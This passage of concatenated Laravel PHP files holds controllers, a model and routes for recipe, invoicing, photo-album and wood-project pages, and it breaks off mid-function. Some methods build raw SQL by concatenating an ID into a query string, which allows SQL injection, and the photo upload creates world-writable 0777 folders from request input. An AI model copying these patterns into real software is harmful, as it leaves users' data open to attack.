################################################################################################################## # ████████╗██████╗ █████╗ ███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██║ ██████╔╝███████║███████╗███████║ ███████║██║ ██║ # ██║ ██╔══██╗██╔══██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ██║ ██║ ██║██║ ██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // Remove the specified resource from storage // Used in the index page to soft delete multiple records ################################################################################################################## public function trashAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $this->validate($request, [ 'checked' => 'required', ]); $checked = $request->input('checked'); //dd($checked); Recipe::destroy($checked); Session::flash('success','The recipes were trashed successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ################################################################################################################## public function unpublish($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::find($id); $recipe->published_at = NULL; // $article->favoriteArticles()->delete(); // Remove associated rows from article_user (favorites table) $favorites = DB::select('select * from recipe_user where recipe_id = '. $id, [1]); //dd ($favorites); foreach($favorites as $favorite) { //dd($favorite); $recipe->favorites()->detach($favorite); } $recipe->save(); Session::flash ('success','The recipe was successfully unpublished.'); return redirect()->route($ref); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██████╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║█████╗ ██║ ██║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║███████╗██████╔╝ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Display a list of resources that have not been published ################################################################################################################## public function unpublished(Request $request, $key=null) { if(!checkACL('editor')) { return view('errors.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // ->where('personal', '!=', 1) ->where('published_at','=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->unpublished() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('backend.recipes.unpublished', compact('recipes','letters')); } // No $key value is passed $recipes = Recipe::with('user','category')->unpublished()->get(); return view('backend.recipes.unpublished', compact('recipes','letters')); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ ███████║██║ ██║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ################################################################################################################## public function unpublishAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $this->validate($request, [ 'checked' => 'required', ]); $checked = $request->input('checked'); foreach ($checked as $item) { //dd($item); $recipe = Recipe::withTrashed()->find($item); $recipe->published_at = Null; // Delete related favorites $favorites = DB::select('select * from recipe_user where recipe_id = '. $recipe->id, [1]); foreach($favorites as $favorite) { $recipe->favoriteRecipes()->detach($favorite); } $recipe->save(); } Session::flash('success','The recipes were published successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateRecipeRequest $request, $id) { // Get the recipe values from the database $recipe = Recipe::find($id); // save the data in the database $recipe->title = $request->title; $recipe->ingredients = Purifier::clean($request->ingredients); $recipe->methodology = Purifier::clean($request->methodology); $recipe->category_id = $request->category_id; $recipe->published_at = $request->published_at; $recipe->servings = $request->servings; $recipe->prep_time = $request->prep_time; $recipe->cook_time = $request->cook_time; $recipe->personal = $request->personal; $recipe->source = $request->source; $recipe->author_notes = $request->author_notes; $recipe->public_notes = $request->public_notes; $recipe->modified_by_id = Auth::user()->id; $recipe->last_viewed_by_id = Auth::user()->id; $recipe->last_viewed_on = Carbon::Now(); // Check if a new image was submitted if ($request->hasFile('image')) { //Add new photo $image = $request->file('image'); $filename = time() . '.' . $image->getClientOriginalExtension(); $location = public_path('_recipes/' . $filename); Image::make($image)->resize(800, 400)->save($location); // get name of old image $oldImageName = $recipe->image; //dd($oldImageName); // Update database $recipe->image = $filename; // Delete old photo //Storage::delete($oldImageName); File::delete('_recipes/'.$oldImageName); } $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") updated :: Recipe (" . $recipe->id .")"); // set a flash message to be displayed on screen Session::flash('success','The recipe was successfully updated!'); // redirect to another page return redirect()->route('backend.recipes.index'); } ################################################################################################################## // Display the specified trashed resource ################################################################################################################## // public function showTrashed($id) // { // // if(!checkACL('guest')) { // // return view('errors.403'); // // } // $article = Article::withTrashed()->findOrFail($id); // //dd($article); // // Add 1 to views column // //DB::table('articles')->where('id','=',$article->id)->increment('views',1); // // Save entry to log file using built-in Monolog // // if (Auth::check()) { // // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") VIEWED article (" . $article->id . ")"); // // } else { // // Log::info('Guest viewed article (' . $article->id) . ')'; // // } // return view('backend.articles.showTrashed', compact('article')); // } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Product; use Config; use Session; class ProductsController extends Controller { public function index() { $products = Product::sortable() ->orderBy('code','asc') ->paginate(Config::get('settings.rowsPerPage')); return view('invoicer.products.index', compact('products')); } public function create() { return view('invoicer.products.create'); } public function store(Request $request) { // validate the data $this->validate($request, array( 'code' => 'required|unique:products,code', 'details' => 'required', )); // save the data in the database $product = new Product; $product->code = $request->code; $product->details = $request->details; $product->save(); // set a flash message to be displayed on screen Session::flash('success','The product was successfully saved!'); // redirect to another page return redirect()->route('invoicer.products.index'); } public function show($id) { $product = Product::findOrFail($id); return view('invoicer.products.show', compact('product')); } public function edit($id) { $product = Product::findOrFail($id); return view('invoicer.products.edit', compact('product')); } public function update(Request $request, $id) { // validate the data $this->validate($request, array( 'code' => 'required|unique:products,code,' . $id, // 'code' => 'required', 'details' => 'required', )); $product = Product::find($id); $product->code = $request->code; $product->details = $request->details; $product->save(); // Set flash data with success message Session::flash ('success', 'The product was successfully updated!'); // Redirect return redirect()->route('invoicer.products.index'); } public function destroy($id) { $product = Product::find($id); $product->delete(); // Set flash data with success message Session::flash('success','The product was deleted successfully.'); // Redirect return redirect()->route('invoicer.products.index'); } public function search(Request $request) { //dd($request->q); if($request->selection == 'code') { $products = Product::where('code', 'like', '%' . $request->searchWord . '%')->paginate(10); } if($request->selection == 'details') { $products = Product::where('details', 'like', $request->searchWord . '%')->paginate(10); } return view('invoicer.products.index', compact('products')); } } <file_sep><?php use Illuminate\Database\Seeder; class GalleryTableSeeder extends Seeder { /** * Auto generated seed file * * @return void */ public function run() { \DB::table('gallery')->delete(); } }<file_sep><?php namespace App\Http\Controllers\Frontend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Comment; use App\WoodProject; use Auth; use DB; use Session; use App\Http\Requests\CreateCommentRequest; class WoodProjectsController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { //$projects = Project::with('Images')->get(); // $projects = WoodProject::orderBy('name','asc')->get(); $projects = WoodProject::orderBy('name','asc')->paginate(8); //dd($projects); return view('frontend.woodProjects.index', compact('projects')); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { // $project = Project::with('ImageProject')->find($id); $project = WoodProject::find($id); // dd($project); // get previous project id $previous = WoodProject::where('id', '<', $project->id)->max('id'); // get next project id $next = WoodProject::where('id', '>', $project->id)->min('id'); // Add 1 to views column DB::table('woodprojects')->where('id','=',$project->id)->increment('views',1); return view('frontend.woodProjects.show', compact('project','previous','next')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ███╗███╗ ███╗███████╗███╗ ██╗████████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔═══██╗████╗ ████║████╗ ████║██╔════╝████╗ ██║╚══██╔══╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ ██║ ██║ ██║██╔████╔██║██╔████╔██║█████╗ ██╔██╗ ██║ ██║ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║╚██╗██║ ██║ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗██║ ╚████║ ██║ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## // public function storeComment(CreateCommentRequest $request, $id) public function storeComment(CreateCommentRequest $request, $id) { //dd($id); $project = woodProject::find($id); //dd($project); $comment = new Comment(); // $comment->name = $request->name; // $comment->email = $request->email; $comment->user_id = Auth::user()->id; $comment->comment = $request->comment; $project->comments()->save($comment); $comment->save(); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") commented on post (" . $post->id . ")\r\n", [json_decode($comment, true)]); // } else { // Log::info(Request::ip() . " commented on post " . $post->id); // } Session::flash('success', 'Comment added succesfully.'); return redirect()->route('woodProjects.show', $project->id); } } <file_sep><?php namespace App\Http\Controllers\Backend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Storage; use App\Photo; use Session; use Image; use File; class PhotosController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create($album_id) { return view('backend.photos.create', compact('album_id')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(Request $request) { $this->validate($request, [ 'ori_name' => 'required', 'new_name' => 'image|max:1999' ]); // Get the file object $file = $request->file('photo'); // Get file name with extension $filenameWithExt = $request->file('photo')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('photo')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; //dd($filenameToStore); // Upload image // Check if Gallery/Images folders exists if (!file_exists('_albums/images/'.$request->input('album_id'))) { mkdir('_albums/images/' . $request->input('album_id'), 0777, true); } // move the file to the correct location $file->move('_albums/images/' . $request->input('album_id') . "/", $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_albums/images/thumbs/'.$request->input('album_id'))) { mkdir('_albums/images/thumbs/' . $request->input('album_id'), 0777, true); } // Create thumbnail $thumb = Image::make('_albums/images/' . $request->input('album_id') . "/" . $filenameToStore) ->resize(240,160) ->save('_albums/images/thumbs/' . $request->input('album_id') . "/" . $filenameToStore, 60); //Create photo record in DB $photo = new Photo; $photo->album_id = $request->input('album_id'); $photo->ori_name = $request->input('ori_name'); $photo->new_name = $filenameToStore; $photo->size = $request->file('photo')->getClientSize(); $photo->description = $request->input('description'); $photo->save(); Session::flash('success','Photo uploaded.'); return redirect('/backend/albums/'. $request->input('album_id')); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { $photo = Photo::find($id); return view('backend.photos.show', compact('photo')); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { $photo = Photo::find($id); unlink(public_path('_albums/images/' . $photo->album->id . "/" . $photo->new_name)); unlink(public_path('_albums/images/thumbs/' . $photo->album->id . "/" . $photo->new_name)); $photo->delete(); // Check if there are any files left in the folder, if not, delete the folder and thumbs folder if (count(glob('_albums/images/' . $photo->album->id . "/*")) === 0 ) { // empty // Delete the IMAGES/THUMBS folder matching the album id File::deleteDirectory(public_path('_albums/images/thumbs/' . $photo->album_id)); // Delete the IMAGES folder matching the album id File::deleteDirectory(public_path('_albums/images/' . $photo->album_id)); } Session::flash('success','Image deleted.'); return redirect(route('backend.albums.show', $photo->album_id)); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; use Auth; use App\Category; //use App\Recipe; use Carbon\Carbon; class Recipe extends Model { use SoftDeletes; protected $dates = ['deleted_at', 'published_at']; // protected $fillable = [ // 'title', // 'ingredients', // 'methodology', // 'image', // 'category_id', // 'servings', // 'prep_time', // 'cook_time', // 'personal', // 'views', // 'source', // 'author_notes', // 'publis_notes', // 'user_id', // 'modified_by_id', // 'last_viewed_by_id', // 'published_at', // 'last_viewd_on' // ]; public function comments() { return $this->morphMany('\App\Comment', 'commentable')->orderBy('id','desc'); } public function user() { return $this->belongsTo('App\User'); } public function modifiedBy() { return $this->belongsTo('App\User'); } public function lastViewedBy() { return $this->belongsTo('App\User'); } public function category() { return $this->belongsTo('App\Category'); } // used in the add and remove favorite public function favorites() { return $this->belongsToMany('App\User')->where('user_id','=',Auth::user()->id); // return $this->belongsToMany('App\User'); } public function scopePublished($query) { return $query->where('published_at', '<', Carbon::now()); } public function scopeUnpublished($query) { return $query ->where('published_at', '=', NULL); } public function scopeTrashed($query) { return $query->where('deleted_at', '!=', NULL)->withTrashed(); } public function scopeTrashedCount($query) { return $query->whereNotNull('deleted_at')->withTrashed(); } public function scopeMyRecipes($query) { return $query ->where('user_id', '=', Auth::user()->id) ->orderBy('title','DESC'); } public function scopeNewRecipes($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) ->orderBy('title','DESC'); } public function scopeFuture($query) { return $query ->where('published_at', '>', Carbon::Now()); } } <file_sep><?php Route::group(['prefix'=>'backend/modules'], function() { $c = 'Backend\ModulesController@'; $r = 'backend.modules.'; Route::get('{id}/delete', ['uses' => $c . 'delete', 'as' => $r . 'delete']); Route::get('exportPDF', ['uses' => $c . 'exportPDF', 'as' => $r . 'exportPDF']); Route::get('import', ['uses' => $c . 'import', 'as' => $r . 'import']); Route::get('downloadExcel/{type}', ['uses' => $c . 'downloadExcel', 'as' => $r . 'downloadExcel']); Route::post('importExcel', ['uses' => $c . 'importExcel', 'as' => $r . 'importExport']); Route::get('newModules', ['uses' => $c . 'newModules', 'as' => $r . 'newModules']); Route::get('create', ['uses' => $c . 'create', 'as' => $r . 'create']); Route::post('modules', ['uses' => $c . 'store', 'as' => $r . 'store']); Route::get('', ['uses' => $c . 'index', 'as' => $r . 'index']); Route::get('{id}/edit', ['uses' => $c . 'edit', 'as' => $r . 'edit']); Route::put('{id}', ['uses' => $c . 'update', 'as' => $r . 'update']); Route::delete('{id}', ['uses' => $c . 'destroy', 'as' => $r . 'destroy']); });<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; // use App\Modules\Invoicer\Models\Ledger; use App\Invoice; use Config; use DB; class LedgerController extends Controller { public function index() { $invoices = Invoice::sortable() ->orderBy('id','desc') ->paginate(Config::get('settings.rowsPerPage')) ; $totalAmountCharged = DB::table('invoices')->sum('amount_charged'); $totalHST = DB::table('invoices')->sum('hst'); $totalSubTotal = DB::table('invoices')->sum('sub_total'); $totalWSIB = DB::table('invoices')->sum('wsib'); $totalIncomeTaxes = DB::table('invoices')->sum('income_taxes'); $totalTotalDeductions = DB::table('invoices')->sum('total_deductions'); $totalTotal = DB::table('invoices')->sum('total'); // dd($invoices); return view('invoicer.ledger.index', compact('invoices','totalHST','totalAmountCharged','totalSubTotal', 'totalWSIB', 'totalIncomeTaxes','totalTotalDeductions', 'totalTotal')); } public function paid() { $invoices = Invoice::sortable()->where('status','=','paid') ->paginate(Config::get('settings.rowsPerPage')); $totalAmountCharged = DB::table('invoices')->where('status','=','paid')->sum('amount_charged'); $totalHST = DB::table('invoices')->where('status','=','paid')->sum('hst'); $totalSubTotal = DB::table('invoices')->where('status','=','paid')->sum('sub_total'); $totalWSIB = DB::table('invoices')->where('status','=','paid')->sum('wsib'); $totalIncomeTaxes = DB::table('invoices')->where('status','=','paid')->sum('income_taxes'); $totalTotalDeductions = DB::table('invoices')->where('status','=','paid')->sum('total_deductions'); $totalTotal = DB::table('invoices')->where('status','=','paid')->sum('total'); return view('invoicer.ledger.index', compact('invoices','totalHST','totalAmountCharged','totalSubTotal', 'totalWSIB', 'totalIncomeTaxes','totalTotalDeductions', 'totalTotal')); } public function invoiced() { $invoices = Invoice::sortable()->where('status','=','invoiced') ->paginate(Config::get('settings.rowsPerPage')); $totalAmountCharged = DB::table('invoices')->where('status','=','invoiced')->sum('amount_charged'); $totalHST = DB::table('invoices')->where('status','=','invoiced')->sum('hst'); $totalSubTotal = DB::table('invoices')->where('status','=','invoiced')->sum('sub_total'); $totalWSIB = DB::table('invoices')->where('status','=','invoiced')->sum('wsib'); $totalIncomeTaxes = DB::table('invoices')->where('status','=','invoiced')->sum('income_taxes'); $totalTotalDeductions = DB::table('invoices')->where('status','=','invoiced')->sum('total_deductions'); $totalTotal = DB::table('invoices')->where('status','=','invoiced')->sum('total'); return view('invoicer.ledger.index', compact('invoices','totalHST','totalAmountCharged','totalSubTotal', 'totalWSIB', 'totalIncomeTaxes','totalTotalDeductions', 'totalTotal')); } public function logged() { $invoices = Invoice::sortable()->where('status','=','logged') ->paginate(Config::get('settings.rowsPerPage')); $totalAmountCharged = DB::table('invoices')->where('status','=','logged')->sum('amount_charged'); $totalHST = DB::table('invoices')->where('status','=','logged')->sum('hst'); $totalSubTotal = DB::table('invoices')->where('status','=','logged')->sum('sub_total'); $totalWSIB = DB::table('invoices')->where('status','=','logged')->sum('wsib'); $totalIncomeTaxes = DB::table('invoices')->where('status','=','logged')->sum('income_taxes'); $totalTotalDeductions = DB::table('invoices')->where('status','=','logged')->sum('total_deductions'); $totalTotal = DB::table('invoices')->where('status','=','logged')->sum('total'); return view('invoicer.ledger.index', compact('invoices','totalHST','totalAmountCharged','totalSubTotal', 'totalWSIB', 'totalIncomeTaxes','totalTotalDeductions', 'totalTotal')); } } <file_sep><?php namespace App\Listeners; use App\Models\User; use Carbon\Carbon; use Illuminate\Auth\Events\Login; class IncreaseLoginCount { /** * Handle the event. * * @param \Illuminate\Auth\Events\Login $event * @return void */ public function handle(Login $event) { // Update user login count $event->user->increment('login_count', 1); } }<file_sep><?php namespace App\Http\Controllers; use App\CsvData; use App\Item; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Http\Requests\CsvImportRequest; use Maatwebsite\Excel\Facades\Excel; class ItemsController extends Controller { ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { if(!checkACL('guest')) { return view('errors.403'); // abort(403); } $items = Item::all(); return view('items.index', compact('items')); } public function published() { $items = Item::where('status',1)->get(); //dd($items); return view('items.index', compact('items')); } public function unpublished() { $items = Item::where('status',2)->get(); //dd($items); return view('items.index', compact('items')); } public function future() { $items = Item::where('status',3)->get(); //dd($items); return view('items.index', compact('items')); } public function trashed() { $items = Item::where('status',4)->get(); //dd($items); return view('items.index', compact('items')); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { // } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(Request $request) { // } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show(Item $item) { // } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit(Item $item) { // } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(Request $request, Item $item) { // } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy(Item $item) { // } public function getImport() { return view('items.import.form'); } public function parseImport(CsvImportRequest $request) { $path = $request->file('csv_file')->getRealPath(); if ($request->has('header')) { $data = Excel::load($path, function($reader) {})->get()->toArray(); } else { $data = array_map('str_getcsv', file($path)); } if 